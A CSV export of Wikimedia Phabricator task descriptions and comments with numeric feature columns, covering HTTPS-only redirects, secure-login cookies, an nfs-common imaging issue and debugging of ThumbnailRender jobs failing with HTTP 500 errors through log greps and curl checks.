572456,Quarry should be HTTPS-only,"looks like https works just fine and only a redirect is missing from http->https, will look into it",,,1449169166,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-7q5b7f5g33t7jget2a2v,task_subcomment,,True,c3,3,True,,,22,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,4.315789473684211,1.0,"looks like https works just fine and only a redirect is missing from http->https, will look into it"
500502,Quarry should be HTTPS-only,In the meantime... https://github.com/EFForg/https-everywhere/pull/2353,,,1438378614,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-7q5b7f5g33t7jget2a2v,task_subcomment,,True,c3,3,True,,,4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,40.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,1.0,In the meantime... URL
107604,Improve $wgSecureLogin=true codepaths to efficiently co-exist with https-only sites,"Instead of setting $wgSecureLogin=false on sites that are https only (e.g., T103021 for the WMF), make the option more efficient so that it can be maintained as a backup control in case http->https redirection at the pre-application layer is broken.

[X] Don't show user preference to ""use insecure connection"" for https-only sites - https://gerrit.wikimedia.org/r/#/c/217856/
[] Force all cookies to be set secure, reguardless of user preference, on https-only sites
[] Decrease the size of the forceHTTPS=1 cookie (iirc, facebook used ""_s=1"" when they converted to https) to minimize overhead",Medium,50.0,1438363422,1493417811.0,PHID-USER-doeppszazlm3r7xah4il,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-w67nlb67ygxkce7tv2s2,task_description,duplicate,True,c3,3,True,False,False,4,True,1.0,0.0,0.0,2.0,0.5,6.0,0.0,0.0,0.0,0.0,2.0,0.5,0.0,2.0,0.0,0.0,0.0,5.0,10.5,0.0,2.0,0.0,0.5,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.5,0.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,2.5,0.0,0.0,0.0,0.5,0.0,15.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,3.5,2.5,5.0,2.0,0.0,4.5,0.0,0.0,0.0,0.0,5.5,0.0,1.5,0.0,2.0,10.5,2.0,0.0,3.0,0.0,2.0,0.0,1.5,0.5,0.0,0.5,0.5,0.0,5.0,3.8837431693989073,0.8255464480874317,"Instead of setting $wgSecureLogin=false on sites that are https only (e.g., T103021 for the WMF), make the option more efficient so that it can be maintained as a backup control in case http->https redirection at the pre-application layer is broken.

[X] Don't show user preference to ""use insecure connection"" for https-only sites - URL
[] Force all cookies to be set secure, reguardless of user preference, on https-only sites
[] Decrease the size of the forceHTTPS=1 cookie (iirc, facebook used ""_s=1"" when they converted to https) to minimize overhead"
107412,Jessie imaging installs nfs-common needlessly,"logstash100[1-3] has been re-imaged with jessie and nfs-common got installed, which starts rpc.statd. There's nothing in the package dependencies which would explain that (no reverse Recommends or Depends on nfs-common) and puppet only installs nfs-common for labstore and the dataset NFS servers, so this must be caused by something in tasksel or other parts of the d-i.",Medium,50.0,1438247988,1499258288.0,PHID-USER-abszjqutasfjxgagymds,False,PHID-USER-abszjqutasfjxgagymds,False,PHID-TASK-7egtgwdej5rlpgzv6qm7,task_description,resolved,True,c3,3,True,True,False,4,True,0.0,1.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,12.0,3.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,8.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,17.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,4.0,3.0,5.0,1.0,8.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,12.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,4.144736842105263,0.7763157894736842,"logstash100[1-3] has been re-imaged with jessie and nfs-common got installed, which starts rpc.statd. There's nothing in the package dependencies which would explain that (no reverse Recommends or Depends on nfs-common) and puppet only installs nfs-common for labstore and the dataset NFS servers, so this must be caused by something in tasksel or other parts of the d-i."
887547,Jessie imaging installs nfs-common needlessly,"This got fixed in T106477 already, closing",,,1499258288,,PHID-USER-abszjqutasfjxgagymds,False,,,PHID-TASK-7egtgwdej5rlpgzv6qm7,task_subcomment,,True,c3,3,True,,,104,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.5,1.0,"This got fixed in T106477 already, closing"
693737,Jessie imaging installs nfs-common needlessly,"there's also a puppet class now to explicitly disable nfs client services, `base::no_nfs_client` added in https://gerrit.wikimedia.org/r/#/c/271274/ though for jessie it should be tracked down the the package(s) that's causing it to be installed",,,1468424074,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-7egtgwdej5rlpgzv6qm7,task_subcomment,,True,c3,3,True,,,53,True,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,16.0,0.0,5.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,8.0,5.0,5.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,5.0,16.0,8.0,0.0,0.0,0.0,5.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,4.243243243243243,0.8648648648648649,"there's also a puppet class now to explicitly disable nfs client services, CODE added in URL though for jessie it should be tracked down the the package(s) that's causing it to be installed"
106740,ThumbnailRender job spam due to HTTP 500s,"Probably due to the thumb size < original size rule. Those should give HTTP 412 or something, and then the job can return ""true"" in run() for such cases, rather than logging and retrying two more times (and logging).

2015-07-23 08:31:09 mw1010 commonswiki runJobs ERROR: ThumbnailRender File:Silene_otites_002.JPG transformParams={""width"":""640""} (uuid=fbfbc971ef4745f39f4c1dae81c87570,timestamp=1437640260,QueuePartition=rdb1) t=8620 error=ThumbnailRenderJob::run: incorrect HTTP status 500 
2015-07-23 08:32:08 mw1004 commonswiki runJobs ERROR: ThumbnailRender File:Capitaine_de_vaisseau-IMG_9252.JPG transformParams={""width"":""1280""} (uuid=e10f0d79ba4e4e6d820d0ccc4a162c66,timestamp=1437640319,QueuePartition=rdb1) t=8224 error=ThumbnailRenderJob::run: incorrect HTTP status 500 
2015-07-23 08:32:08 mw1007 commonswiki runJobs ERROR: ThumbnailRender File:Capitaine_de_vaisseau-IMG_9252.JPG transformParams={""width"":""800""} (uuid=b01d5e67754b40c2bca5149b4ff10470,timestamp=1437640319,QueuePartition=rdb1) t=8227 error=ThumbnailRenderJob::run: incorrect HTTP status 500 
2015-07-23 08:32:08 mw1004 commonswiki runJobs ERROR: ThumbnailRender File:Capitaine_de_vaisseau-IMG_9252.JPG transformParams={""width"":""1024""} (uuid=cdd28d7220054f02a9bd1138f65865ab,timestamp=1437640319,QueuePartition=rdb1) t=8257 error=ThumbnailRenderJob::run: incorrect HTTP status 500 
2015-07-23 08:32:08 mw1002 commonswiki runJobs ERROR: ThumbnailRender File:Capitaine_de_vaisseau-IMG_9252.JPG transformParams={""width"":""320""} (uuid=7f0ca2623ed24392ad8ca7c1ee8b1a96,timestamp=1437640319,QueuePartition=rdb1) t=8184 error=ThumbnailRenderJob::run: incorrect HTTP status 500 
2015-07-23 08:32:08 mw1002 commonswiki runJobs ERROR: ThumbnailRender File:Capitaine_de_vaisseau-IMG_9252.JPG transformParams={""width"":""640""} (uuid=5ccea45bd1254be0a30d2c2072a07d9f,timestamp=1437640319,QueuePartition=rdb1) t=8199 error=ThumbnailRenderJob::run: incorrect HTTP status 500 
2015-07-23 08:32:42 mw1002 commonswiki runJobs ERROR: ThumbnailRender File:Silene_otites_003.JPG transformParams={""width"":""800""} (uuid=eeec2978013c4ce588e53ab76a8eb425,timestamp=1437640353,QueuePartition=rdb2) t=8156 error=ThumbnailRenderJob::run: incorrect HTTP status 500 
2015-07-23 08:32:42 mw1002 commonswiki runJobs ERROR: ThumbnailRender File:Silene_otites_003.JPG transformParams={""width"":""640""} (uuid=a9975fc34238417eaf9620758c433f0f,timestamp=1437640353,QueuePartition=rdb2) t=8203 error=ThumbnailRenderJob::run: incorrect HTTP status 500 
2015-07-23 08:32:42 mw1001 commonswiki runJobs ERROR: ThumbnailRender File:Silene_otites_003.JPG transformParams={""width"":""320""} (uuid=36dceb3042354b7aa0605367e9092190,timestamp=1437640353,QueuePartition=rdb2) t=8232 error=ThumbnailRenderJob::run: incorrect HTTP status 500 
2015-07-23 08:33:18 mw1016 commonswiki runJobs ERROR: ThumbnailRender File:Contre-amiral-IMG_9154.JPG transformParams={""width"":""2560""} (uuid=0e65942249454dadae5888e6cfb9dd38,timestamp=1437640389,QueuePartition=rdb1) t=8219 error=ThumbnailRenderJob::run: incorrect HTTP status 500",Medium,50.0,1437683985,1480984068.0,PHID-USER-bmbmvb2e5bg6ztcangbq,False,PHID-USER-papbtlagfolot4dzerne,False,PHID-TASK-ibnfma3crgj5trb22g56,task_description,resolved,True,c3,3,True,False,False,3,True,0.0,0.2,0.0,0.0,0.0,4.2,0.0,0.0,0.0,0.0,0.4,0.0,0.0,0.0,0.0,0.0,0.0,0.6,1.0,0.2,0.0,0.2,0.0,0.0,0.0,0.2,0.0,0.0,0.2,0.0,0.0,1.8,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.2,0.0,0.0,0.0,1.6,0.0,0.0,0.0,0.0,0.0,20.0,0.2,0.0,0.0,0.2,0.0,0.0,0.0,0.0,0.4,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.4,0.0,14.4,0.0,0.8,0.6,0.0,0.0,0.0,0.0,0.4,0.0,10.6,0.0,0.4,1.0,16.4,0.0,2.4,0.0,0.4,0.0,0.0,0.0,0.0,0.4,0.4,0.0,0.4,6.918924478401411,0.5225095503967088,"Probably due to the thumb size < original size rule. Those should give HTTP 412 or something, and then the job can return ""true"" in run() for such cases, rather than logging and retrying two more times (and logging).

2015-07-23 08:31:09 mw1010 commonswiki runJobs ERROR: ThumbnailRender File:Silene_otites_002.JPG transformParams={""width"":""640""} (uuid=fbfbc971ef4745f39f4c1dae81c87570,timestamp=1437640260,QueuePartition=rdb1) t=8620 error=ThumbnailRenderJob::run: incorrect HTTP status 500 
2015-07-23 08:32:08 mw1004 commonswiki runJobs ERROR: ThumbnailRender File:Capitaine_de_vaisseau-IMG_9252.JPG transformParams={""width"":""1280""} (uuid=e10f0d79ba4e4e6d820d0ccc4a162c66,timestamp=1437640319,QueuePartition=rdb1) t=8224 error=ThumbnailRenderJob::run: incorrect HTTP status 500 
2015-07-23 08:32:08 mw1007 commonswiki runJobs ERROR: ThumbnailRender File:Capitaine_de_vaisseau-IMG_9252.JPG transformParams={""width"":""800""} (uuid=b01d5e67754b40c2bca5149b4ff10470,timestamp=1437640319,QueuePartition=rdb1) t=8227 error=ThumbnailRenderJob::run: incorrect HTTP status 500 
2015-07-23 08:32:08 mw1004 commonswiki runJobs ERROR: ThumbnailRender File:Capitaine_de_vaisseau-IMG_9252.JPG transformParams={""width"":""1024""} (uuid=cdd28d7220054f02a9bd1138f65865ab,timestamp=1437640319,QueuePartition=rdb1) t=8257 error=ThumbnailRenderJob::run: incorrect HTTP status 500 
2015-07-23 08:32:08 mw1002 commonswiki runJobs ERROR: ThumbnailRender File:Capitaine_de_vaisseau-IMG_9252.JPG transformParams={""width"":""320""} (uuid=7f0ca2623ed24392ad8ca7c1ee8b1a96,timestamp=1437640319,QueuePartition=rdb1) t=8184 error=ThumbnailRenderJob::run: incorrect HTTP status 500 
2015-07-23 08:32:08 mw1002 commonswiki runJobs ERROR: ThumbnailRender File:Capitaine_de_vaisseau-IMG_9252.JPG transformParams={""width"":""640""} (uuid=5ccea45bd1254be0a30d2c2072a07d9f,timestamp=1437640319,QueuePartition=rdb1) t=8199 error=ThumbnailRenderJob::run: incorrect HTTP status 500 
2015-07-23 08:32:42 mw1002 commonswiki runJobs ERROR: ThumbnailRender File:Silene_otites_003.JPG transformParams={""width"":""800""} (uuid=eeec2978013c4ce588e53ab76a8eb425,timestamp=1437640353,QueuePartition=rdb2) t=8156 error=ThumbnailRenderJob::run: incorrect HTTP status 500 
2015-07-23 08:32:42 mw1002 commonswiki runJobs ERROR: ThumbnailRender File:Silene_otites_003.JPG transformParams={""width"":""640""} (uuid=a9975fc34238417eaf9620758c433f0f,timestamp=1437640353,QueuePartition=rdb2) t=8203 error=ThumbnailRenderJob::run: incorrect HTTP status 500 
2015-07-23 08:32:42 mw1001 commonswiki runJobs ERROR: ThumbnailRender File:Silene_otites_003.JPG transformParams={""width"":""320""} (uuid=36dceb3042354b7aa0605367e9092190,timestamp=1437640353,QueuePartition=rdb2) t=8232 error=ThumbnailRenderJob::run: incorrect HTTP status 500 
2015-07-23 08:33:18 mw1016 commonswiki runJobs ERROR: ThumbnailRender File:Contre-amiral-IMG_9154.JPG transformParams={""width"":""2560""} (uuid=0e65942249454dadae5888e6cfb9dd38,timestamp=1437640389,QueuePartition=rdb1) t=8219 error=ThumbnailRenderJob::run: incorrect HTTP status 500"
712188,ThumbnailRender job spam due to HTTP 500s,"Change 305010 merged by jenkins-bot:
Move thumbnail rendering to a more appropriate spot

[[https://gerrit.wikimedia.org/r/305010]]",,,1471351396,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ibnfma3crgj5trb22g56,task_subcomment,,True,c3,3,False,,,58,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,13.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,13.0,4.043478260869565,0.9130434782608695,"Change 305010 merged by jenkins-bot:
Move thumbnail rendering to a more appropriate spot

[[GERRIT_URL]]"
712173,ThumbnailRender job spam due to HTTP 500s,"Change 305010 had a related patch set uploaded (by Gilles):
Move thumbnail rendering to a more appropriate spot

[[https://gerrit.wikimedia.org/r/305010]]
",,,1471347618,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ibnfma3crgj5trb22g56,task_subcomment,,True,c3,3,False,,,58,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,4.0,0.0,11.0,4.0,0.8571428571428571,"Change 305010 had a related patch set uploaded (by Gilles):
Move thumbnail rendering to a more appropriate spot

[[GERRIT_URL]]
"
712162,ThumbnailRender job spam due to HTTP 500s,"Change 304995 abandoned by Gilles:
Delay thumbnail pre rendering job by a second

Reason:
I think the answer is to move the code triggering the thumbnail prerendering to a better location, inside recordUpload2's onTransactionIdle call

[[https://gerrit.wikimedia.org/r/304995]]",,,1471345964,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ibnfma3crgj5trb22g56,task_subcomment,,True,c3,3,False,,,58,True,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,12.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,10.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,4.0,2.0,0.0,6.0,4.5625,0.7708333333333334,"Change 304995 abandoned by Gilles:
Delay thumbnail pre rendering job by a second

Reason:
I think the answer is to move the code triggering the thumbnail prerendering to a better location, inside recordUpload2's onTransactionIdle call

[[GERRIT_URL]]"
712120,ThumbnailRender job spam due to HTTP 500s,"Change 304995 had a related patch set uploaded (by Gilles):
Delay thumbnail pre rendering job by a second

[[https://gerrit.wikimedia.org/r/304995]]
",,,1471340036,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ibnfma3crgj5trb22g56,task_subcomment,,True,c3,3,False,,,58,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,11.0,3.7857142857142856,0.8214285714285714,"Change 304995 had a related patch set uploaded (by Gilles):
Delay thumbnail pre rendering job by a second

[[GERRIT_URL]]
"
499663,ThumbnailRender job spam due to HTTP 500s,"Checking the severity of this issue:

```
gilles@fluorine:/a/mw-log$ cat runJobs.log | grep ThumbnailRender | grep ""\|\""width\"":\""1920\""\""width\"":\""1280\""\|\""width\"":\""1024\""\|\""width\"":\""800\""\|\""width\"":\""640\"""" | grep "" good"" | wc -l
37526
gilles@fluorine:/a/mw-log$ cat runJobs.log | grep ThumbnailRender | grep ""\|\""width\"":\""1920\""\""width\"":\""1280\""\|\""width\"":\""1024\""\|\""width\"":\""800\""\|\""width\"":\""640\"""" | grep ""status 500 when hitting"" | awk -F "" "" '{print $NF}' | uniq | wc -l
9438

gilles@fluorine:/a/mw-log$ cat runJobs.log | grep ThumbnailRender | grep ""\|\""width\"":\""1920\""\""width\"":\""1280\""\|\""width\"":\""1024\""\|\""width\"":\""800\""\|\""width\"":\""640\"""" | grep "" good"" | awk -F "" "" '{print $8}' | uniq | wc -l
25292
gilles@fluorine:/a/mw-log$ cat runJobs.log | grep ThumbnailRender | grep ""\|\""width\"":\""1920\""\""width\"":\""1280\""\|\""width\"":\""1024\""\|\""width\"":\""800\""\|\""width\"":\""640\"""" | grep ""status 500 when hitting"" | awk -F "" "" '{print $8}' | uniq | wc -l
3157
```

Meaning that pre-rendering doesn't work at the time it's requested for about 12% of the files.",,,1438281981,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-ibnfma3crgj5trb22g56,task_subcomment,,True,c3,3,True,,,4,True,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,3.0,0.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.388888888888889,0.8055555555555556,"Checking the severity of this issue:

``CODE``

Meaning that pre-rendering doesn't work at the time it's requested for about 12% of the files."
499444,ThumbnailRender job spam due to HTTP 500s,">>! In T106740#1491467, @fgiunchedi wrote:
> mmh do you see the same in production? I can't reproduce ATM

Indeed, production looks fine and returns a 400, meaning that my change has already made the production logs less noisy.

The original issue found in @aaron's initial sample is still a mystery, now that I'm gathering more data:

The vast majority of 500s involved behave fine when requested later:

```
gilles@fluorine:/a/mw-log$ cat runJobs.log | grep ThumbnailRender | grep ""status 500 when hitting"" | awk -F "" "" '{print $NF}' | uniq | xargs -I thumburl curl -L -H ""Host: upload.wikimedia.org"" -H ""X-forwarded-proto: https"" -s -o /dev/null -I -w ""%{http_code}\n"" ""http:thumburl"" | sort | uniq -c
   1755 200
     96 500
```
More investigation is required to figure this out.

",,,1438257179,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-ibnfma3crgj5trb22g56,task_subcomment,,True,c3,3,True,,,4,True,0.0,0.0,0.0,1.0,0.0,10.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,3.0,0.0,9.0,6.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,1.0,10.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,10.0,4.0,1.0,8.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,1.0,3.0,0.0,3.0,4.0,0.0,0.0,4.113924050632911,0.759493670886076,"QUOTE
QUOTE

Indeed, production looks fine and returns a 400, meaning that my change has already made the production logs less noisy.

The original issue found inSCREEN_NAME's initial sample is still a mystery, now that I'm gathering more data:

The vast majority of 500s involved behave fine when requested later:

``CODE``
More investigation is required to figure this out.

"
498862,ThumbnailRender job spam due to HTTP 500s,">>! In T106740#1488420, @Gilles wrote:
> @fgiunchedi I remember that we ""fixed"" the 500/400 response for thumbs in T88412 and as seen above, the PHP returns the correct header at the moment. However I really can't figure out why Varnish turns that 400 into a 500. Any ideas?

mmh do you see the same in production? I can't reproduce ATM

```
i7:~$ curl -i ""https://upload.wikimedia.org/wikipedia/commons/thumb/3/3f/Carl_Simon.jpg/79345px-Carl_Simon.jpg""
HTTP/1.1 400 Bad Request
Server: nginx/1.9.3
Date: Wed, 29 Jul 2015 13:10:05 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 385
Connection: keep-alive
X-Content-Type-Options: nosniff
X-Powered-By: HHVM/3.6.1
X-Mw-Thumbnail-Renderer: mw1155
Cache-Control: no-cache
X-Trans-Id: tx14125093230b4248aebd9-0055b8d098
X-Varnish: 3677239121, 1284444796 1284418870, 3300715481
Via: 1.1 varnish, 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Age: 20
X-Cache: cp1074 miss (0), cp3036 hit (1), cp3046 frontend miss (0)
Strict-Transport-Security: max-age=31536000
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: Age, Date, Content-Length, Content-Range, X-Content-Duration, X-Cache, X-Varnish
Timing-Allow-Origin: *

<!DOCTYPE html>
<html><head>
<meta charset=""UTF-8"" />
<title>Error generating thumbnail</title>
</head>
<body>
<h1>Error generating thumbnail</h1>
<p>
Error creating thumbnail: Image was not scaled, is the requested width bigger than the source?
</p>
<!-- http://commons.wikimedia.org/w/thumb_handler.php/3/3f/Carl_Simon.jpg/79345px-Carl_Simon.jpg -->
<!-- mw1155 -->

</body>
</html>
i7:~$ 
```

```
mw1155:~$ curl -i -H 'Host: commons.wikimedia.org' -H 'X-forwarded-proto: https' 'http://commons.wikimedia.org/w/thumb_handler.php/3/3f/Carl_Simon.jpg/79345px-Carl_Simon.jpg'
HTTP/1.1 400 Bad Request
Server: Apache
X-Content-Type-Options: nosniff
Cache-control: no-cache
X-MW-Thumbnail-Renderer: mw1159
Content-Type: text/html; charset=utf-8
X-Varnish: 1357378451, 840169381
Via: 1.1 varnish, 1.1 varnish
Content-Length: 357
Accept-Ranges: bytes
Date: Wed, 29 Jul 2015 13:13:58 GMT
Age: 0
Connection: keep-alive
X-Cache: cp1065 miss (0), cp1054 frontend miss (0)
Strict-Transport-Security: max-age=31536000
Set-Cookie: GeoIP=:::::v6; Path=/; Domain=.wikimedia.org
X-Analytics: https=1
Set-Cookie: WMF-Last-Access=29-Jul-2015;Path=/;HttpOnly;Expires=Sun, 30 Aug 2015 12:00:00 GMT

<!DOCTYPE html>
<html><head>
<meta charset=""UTF-8"" />
<title>Error generating thumbnail</title>
</head>
<body>
<h1>Error generating thumbnail</h1>
<p>
Error creating thumbnail: Image was not scaled, is the requested width bigger than the source?
</p>
<!-- /w/thumb_handler.php/3/3f/Carl_Simon.jpg/79345px-Carl_Simon.jpg -->
<!-- mw1159 -->

</body>
</html>
mw1155:~$ 
```",,,1438175952,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-ibnfma3crgj5trb22g56,task_subcomment,,True,c3,3,True,,,3,True,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,4.0,8.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4166666666666665,0.7916666666666666,"QUOTE
QUOTE

mmh do you see the same in production? I can't reproduce ATM

``CODE`CODE`CODE``"
498385,ThumbnailRender job spam due to HTTP 500s,"Change 227456 merged by jenkins-bot:
Don't retry invalid thumbnail requests due to impossible width

